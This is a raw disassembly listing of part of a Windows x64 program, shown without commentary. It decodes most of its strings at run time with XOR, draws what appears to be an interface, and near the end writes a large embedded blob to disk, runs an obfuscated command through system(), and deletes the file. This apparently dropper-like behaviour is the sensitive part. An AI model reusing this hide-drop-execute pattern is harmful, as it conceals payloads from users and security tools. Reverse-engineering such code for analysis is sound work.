mov qword [rbp + 0x1f68], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f70], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1570]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f78], rax
vmovdqu ymm0, ymmword [rbp + 0x1f60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f40]
vmovdqa ymmword [rbp + 0x1f40], ymm1
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cd8]
lea rcx, [rbp + 0x6f0]
movss xmm1, dword [0x1400c5ce8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1f40]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4c7cd59b25ba15c2
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0f993
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1580], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1588], rcx
lea rcx, [rbp + 0x15a0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1590], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1598], rax
movdqa xmm0, xmmword [rbp + 0x1590]
xorps xmm0, xmmword [rbp + 0x1580]
movdqa xmmword [rbp + 0x1580], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cd8]
lea rcx, [rbp + 0x6f8]
movss xmm1, dword [0x1400c5d40]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1580]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
mov rcx, r14
call fcn.140012310
movss xmm2, dword [0x1400c5cdc]
lea rcx, [rbp + 0x700]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0x15b0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
lea rdx, [0x141557678]
mov ebx, eax
lea rcx, [rbp + 0x15c0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm3, dword [0x1400c5c8c]
lea rcx, [0x1400c2324]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140035870
call fcn.1400123b0
call fcn.140016a30
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0x15d0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x708]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d80]
addss xmm1, dword [0x1400c5d80]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x710]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5d20]
addss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
movss xmm6, dword [0x1400c5c1c]
xor r14d, r14d
movss dword [rsp + 0x30], xmm7
mov r9d, edi
mov dword [rsp + 0x28], r14d
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm6
mov rcx, rsi
call fcn.140023920
movss xmm2, dword [0x1400c5d2c]
lea rcx, [rbp + 0x718]
movss xmm1, dword [0x1400c5cd0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
xor eax, eax
movabs rcx, 0x2fa0d557e5debcea
mov byte [rbp], al
movabs rdi, 0x2911b4dc05d67983
mov byte [rbp], al
movabs rbx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
movabs rax, 0x965c6bd71a51cd1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f80], rax
movabs rax, 0x3d8d87c76cf0bab0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f88], rax
movabs rax, 0x1bc8d5d5e665e46d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f90], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f98], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fa0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fa8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fb0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fb8], rax
lea rdx, [0x14155689b]
vmovdqu ymm0, ymmword [rbp + 0x1fa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f80]
vmovdqa ymmword [rbp + 0x1f80], ymm1
lea rcx, [rbp + 0x1f80]
vzeroupper
call fcn.140035b50
call fcn.140016a30
movss xmm2, dword [0x1400c5d6c]
lea rcx, [rbp + 0x720]
movss xmm1, dword [0x1400c5cd0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movss xmm2, dword [0x1400c5c7c]
lea rcx, [rbp + 0x728]
movss xmm1, dword [0x1400c5d14]
call fcn.1400013d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x407dd5a971a410d5
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd09c9a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x15e0], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x15e8], rcx
lea rcx, [rbp + 0x15e0]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15f8], rax
movdqa xmm0, xmmword [rbp + 0x15f0]
xorps xmm0, xmmword [rbp + 0x15e0]
movdqa xmmword [rbp + 0x15e0], xmm0
call fcn.140034b90
test al, al
je 0x14004aa34
mov dword [0x1415573e0], 0xf
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0x1600]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x730]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d00]
addss xmm1, dword [0x1400c5da0]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x738]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5ca0]
addss xmm1, dword [0x1400c5d84]
call fcn.1400013d0
movss dword [rsp + 0x30], xmm7
mov r9d, edi
mov dword [rsp + 0x28], r14d
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm6
mov rcx, rsi
call fcn.140023920
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
movabs rsi, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc05d679c7
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1610], rcx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1618], rcx
lea rcx, [rbp + 0x1630]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1620], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1628], rax
movdqa xmm0, xmmword [rbp + 0x1620]
xorps xmm0, xmmword [rbp + 0x1610]
movdqa xmmword [rbp + 0x1610], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c94]
lea rcx, [rbp + 0x740]
movss xmm1, dword [0x1400c5d84]
mov ebx, eax
call fcn.1400013d0
movss xmm6, dword [0x1400c5c60]
lea rcx, [rbp + 0x1610]
mov rdx, qword [0x1415573d0]
mov r9, rax
mov qword [rsp + 0x40], r14
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
mov edx, 0xf0
mov dword [rsp + 0x20], 0xff
movabs rax, 0x963d1ba6ab909d0
mov r9d, edx
mov qword [rbp + 0x10], rax
mov r8d, edx
mov rcx, qword [rbp + 0x10]
movabs rax, 0x4fe8f3a15eb796ac
mov qword [rbp + 0x1640], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1648], rcx
lea rcx, [rbp + 0x1660]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1650], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1658], rax
movdqa xmm0, xmmword [rbp + 0x1650]
xorps xmm0, xmmword [rbp + 0x1640]
movdqa xmmword [rbp + 0x1640], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c94]
lea rcx, [rbp + 0x748]
movss xmm1, dword [0x1400c5d8c]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1640]
mov qword [rsp + 0x40], r14
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0x1670]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x750]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d80]
addss xmm1, dword [0x1400c5da0]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x758]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5d20]
addss xmm1, dword [0x1400c5d84]
call fcn.1400013d0
movss xmm0, dword [0x1400c5c1c]
mov r9d, edi
movss dword [rsp + 0x30], xmm7
mov r8, rbx
mov dword [rsp + 0x28], r14d
mov rdx, rax
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140023920
movss xmm2, dword [0x1400c5d2c]
lea rcx, [rbp + 0x760]
movss xmm1, dword [0x1400c5d88]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
lea rdx, [0x141556898]
mov byte [rbp], al
lea rcx, [rbp + 0x1680]
movabs rax, 0x467ec48f259f3fc6
movabs rbx, 0x4fe8f3a14abe9086
mov qword [rbp + 0x10], rax
movabs rdi, 0x2911b4dc05d67983
mov rax, qword [rbp + 0x10]
movabs r14, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x1680], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1688], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1690], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1698], rax
movdqa xmm0, xmmword [rbp + 0x1690]
xorps xmm0, xmmword [rbp + 0x1680]
movdqa xmmword [rbp + 0x1680], xmm0
call fcn.140035b50
xor eax, eax
lea rdx, [0x14155690a]
mov byte [rbp], al
lea rcx, [rbp + 0x16a0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x467ec48f25b518ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16a0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16a8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16b0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16b8], rax
movdqa xmm0, xmmword [rbp + 0x16b0]
xorps xmm0, xmmword [rbp + 0x16a0]
movdqa xmmword [rbp + 0x16a0], xmm0
call fcn.140035b50
call fcn.140016a30
xor esi, esi
jmp 0x14004aedc
movss xmm6, dword [0x1400c5c60]
movabs rdi, 0x2911b4dc05d67983
movabs r14, 0x4fe8f3a12dd0f9e0
cmp dword [0x1415573e0], 0xc
jne 0x14006af24
movss xmm2, dword [0x1400c5ce8]
lea rcx, [rbp + 0x768]
movss xmm1, dword [0x1400c5d3c]
addss xmm12, dword [0x1400c5be0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
mov edx, 0xff
mov dword [rsp + 0x20], esi
mov r9d, edx
lea rcx, [rbp + 0x16c0]
mov r8d, edx
call fcn.14002b3c0
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x16d0]
mov edx, 0x64
mov rbx, rax
call fcn.14002b3c0
movss xmm2, dword [0x1400c5c2c]
mov r9, rax
xor eax, eax
mov dword [rsp + 0x38], esi
mov byte [rbp], al
movaps xmm1, xmm6
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2976dab561b716cf
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16e0], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16e8], rcx
lea rcx, [rbp + 0x16e0]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16f0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16f8], rax
movdqa xmm0, xmmword [rbp + 0x16f0]
xorps xmm0, xmmword [rbp + 0x16e0]
movdqa xmmword [rbp + 0x16e0], xmm0
movss xmm0, dword [0x1400c5c24]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1400c5c38]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d220
movss xmm2, dword [0x1400c5d04]
lea rcx, [rbp + 0x770]
movss xmm1, dword [0x1400c5d1c]
call fcn.1400013d0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1700]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14002b3c0
movabs rbx, 0x2fa0d557e5debcea
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4e7fddba6ab909d0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fc0], rax
movabs rax, 0x2b8d87d34ca4aac0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fc8], rax
movabs rax, 0x1bc8b3ba8915b747
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fd0], rax
movss xmm3, dword [0x1400c5bf0]
lea r8, [rbp + 0x10]
mov qword [rbp + 0x10], rbx
lea rdx, [rbp + 0x1fc0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fd8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fe0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1fe8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ff0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1415573c8]
unpcklps xmm6, xmm7
mov qword [rbp + 0x1ff8], rax
vmovdqu ymm0, ymmword [rbp + 0x1fe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1fc0]
vmovss xmm0, dword [0x1400c5c64]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1fc0], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.1400425a0
lea rdx, str.NVM_Restore_Point
lea rcx, [rbp + 0x2000]
call fcn.140073640
comiss xmm12, dword [0x1400c5d94]
jbe 0x14006af18
lea rcx, [rbp + 0x2000]
call fcn.140040590
cmp byte [0x141556909], 0
je 0x14006a4de
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2946b48005ec79c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f40], rax
movabs rax, 0x4f87f3c52dbef989
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f48], rax
movabs rax, 0x1b9bb3e68966b73a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f50], rax
movabs rax, 0x2fc5d523e5adbc93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f58], rax
movabs rax, 0xc736e95ab6d84fda
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f60], rax
movabs rax, 0xe9f95a98bc3a3483
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f68], rax
movabs rax, 0x3d5af2abc3e7a2fd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f70], rax
movabs rax, 0xebbe36ab36f2d288
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f78], rax
movabs rax, 0x52387850a87c7163
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f80], rax
movabs rax, 0x24a8ffacdf53ef0d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f88], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5680], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5688], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5690], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5698], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56a0], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56a8], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56b0], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56b8], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56c0], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x56c8], rax
vmovdqu ymm0, ymmword [rbp + 0x5680]
vpxor ymm1, ymm0, ymmword [rbp + 0x5f40]
vmovdqa xmm2, xmmword [rbp + 0x5f80]
lea rdx, [rbp + 0x5f40]
vmovdqu ymm0, ymmword [rbp + 0x56a0]
vxorps xmm2, xmm2, xmmword [rbp + 0x56c0]
lea rcx, [rbp + 0x2020]
vmovdqa ymmword [rbp + 0x5f40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5f60]
vmovdqa ymmword [rbp + 0x5f60], ymm1
vmovdqa xmmword [rbp + 0x5f80], xmm2
vzeroupper
call fcn.140073640
mov r8d, 0x1119e00
lea rdx, [0x1402dd920]
lea rcx, [rbp + 0x2020]
call fcn.14003de10
lea rcx, [rbp + 0x2020]
call fcn.1400735d0
xor eax, eax
movabs rcx, 0xe9945afdbc5834f4
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49c0], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49c8], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49d0], rax
movabs rax, 0x6ad8bc118ab3efb6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49d8], rax
movabs rax, 0xc70f910d98df79df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49e0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49e8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b20], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b28], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b30], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b38], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b40], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x49c0]
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x49e0]
vmovdqu ymm0, ymmword [rbp + 0x3b20]
vpxor ymm1, ymm0, ymmword [rbp + 0x49c0]
mov qword [rbp + 0x3b48], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3b40]
vmovdqa ymmword [rbp + 0x49c0], ymm1
vmovdqa xmmword [rbp + 0x49e0], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
movabs rcx, 0xe9945afdbc5834f4
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a00], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a08], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a10], rax
movabs rax, 0x6ad8bc118ab3efb6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a18], rax
movabs rax, 0xc70f910d98df79df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a20], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a28], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b60], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b68], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b70], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b78], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b80], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4a00]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x3b60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a00]
mov qword [rbp + 0x3b88], rax
vmovdqa xmm2, xmmword [rbp + 0x3b80]
vxorps xmm2, xmm2, xmmword [rbp + 0x4a20]
vmovdqa xmmword [rbp + 0x4a20], xmm2
vmovdqa ymmword [rbp + 0x4a00], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2946b48005ec79c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fa0], rax
movabs rax, 0x4f87f3c52dbef989
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fa8], rax
movabs rax, 0x1b9bb3e68966b73a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fb0], rax
movabs rax, 0x2fc5d523e5adbc93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fb8], rax
movabs rax, 0xc736e95ab6d84fda
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fc0], rax
movabs rax, 0xe9f95a98bc3a3483
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fc8], rax
movabs rax, 0x3d46f2a7c3c0a2fd
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x5fa0]
mov rax, qword [rbp + 0x10]
movabs rcx, 0xff8c0cbf58bf0f12
mov qword [rbp + 0x5fd0], rax
movabs rax, 0xeb9536b236f6d2a5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fd8], rax
movabs rax, 0x527b7801a82d716a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fe0], rax
movabs rax, 0x2486ffbddf45ef0d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fe8], rax
movabs rax, 0xf7bcc5a7f7f9acb0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ff0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ff8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6000], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6008], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6010], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6018], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6020], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6028], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6030], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6038], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6040], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6048], rax
movabs rax, 0xf7bcc5c2f781acd5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6050], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x2040]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x6000]
vpxor ymm1, ymm0, ymmword [rbp + 0x5fa0]
